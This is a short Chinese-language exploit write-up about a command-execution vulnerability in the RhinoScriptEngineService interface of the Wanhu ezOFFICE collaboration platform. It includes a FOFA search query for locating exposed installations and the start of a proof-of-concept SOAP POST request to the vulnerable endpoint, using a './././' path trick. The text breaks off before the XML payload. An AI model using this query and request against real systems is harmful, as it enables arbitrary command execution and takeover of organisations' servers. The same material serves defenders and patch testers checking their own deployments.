0x01 产品简介
万户ezOFFICE协同管理平台涵盖门户自定义平台、信息知识平台管理、系统管理平台功能,它以工作流引擎为底层服务,以通讯沟通平台为交流手段,以门户自定义平台为信息推送显示平台,为用户提供集成的协同工作环境。
0x02 漏洞概述
万户ezOFFICE协同管理平台 RhinoScriptEngineService 接口存在命令执行漏洞,该漏洞可能导致攻击者获取系统权限、执行任意命令,严重威胁系统的机密性和完整性。
0x03 测绘语句
FOFA:
app="万户网络-ezOFFICE"
0x04 漏洞复现
POC:
POST /defaultroot/services/./././RhinoScriptEngineService HTTP/1.1
Host:
Content-Type: text/xml; charset=utf-8
SOAPAction: ""
<?xml version='1.0' encoding='UTF-8'?>
<soapenv